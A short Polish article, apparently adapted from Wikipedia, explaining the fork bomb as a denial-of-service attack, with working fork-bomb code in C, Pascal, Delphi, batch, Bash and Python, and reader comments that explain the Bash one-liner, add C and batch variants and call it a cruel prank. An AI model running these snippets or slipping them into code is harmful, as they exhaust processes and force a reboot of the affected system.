Fork-bomba

fatalbomb

Artykuł napisany na podstawie artykułu z Wikipedii.

Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).

Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:

C

#include <unistd.h>
 
int main(void)
{
  while(1)
    fork();
  return 0;
}

Pascal

 repeat
  Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
 until false;

Delphi

  repeat
   WinExec (PAnsiChar (ParamStr (0)),SW_SHOWNORMAL);
  until false;

Pliki wsadowe (BAT)

:a
 start %0
goto a

Bash

:(){ :|:& };:

Python

from subprocess import Popen
import sys
 
while True:
    Popen(sys.argv)

7 komentarzy

dobry pomysł na okrutny żart >:-)

Dzięki ci sołmacz. ;)

from subprocess import Popen
import sys
 
while True:
    Popen(sys.argv)

Jak by to wyglądało w Pythonie? =p

Tworzenie funkcji bezparametrowej o nazwie : (:() {...}).
Kod wewnątrz funkcji rekursywnie wywołuje funkcję i przekierowuje wynik do innego wywołania siebie samej (:|:), a & wrzuca go do tła, żeby nie zabijać procesów rodziców. I to daje jeszcze wykładniczy wzrost ilości procesów :-)
; to zakończenie definicji funkcji, a ostatni : ustawia pułapkę uruchamiajac funkcję po raz pierwszy.

Notabene DOS 6.22 dzięki braku wielowątkowości jest odporny na ten atak, sprawdzałem, da się przerwać spokojnie ;)

Postęp geometryczny szybszy od liniowego ;-)

while(fork()) fork();

ewentualnie co by mieć pewność, że warunek zawsze będzie prawdziwy [nie pamiętam co zwraca fork()]

while((fork(),1)) fork();

A plik wsadowy w Twoim przykładzie wymaga Windows i programu start - a po co, jak jest polecenie wewnętrzne CALL?

:a
call %0
goto a

Ktos - może słowo wyjaśnienia dla nieobcykanych z bashem? :]

Ja osobiście wolę wersję bashową:

:(){ :|:& };:

Bo wygląda dziwnie :)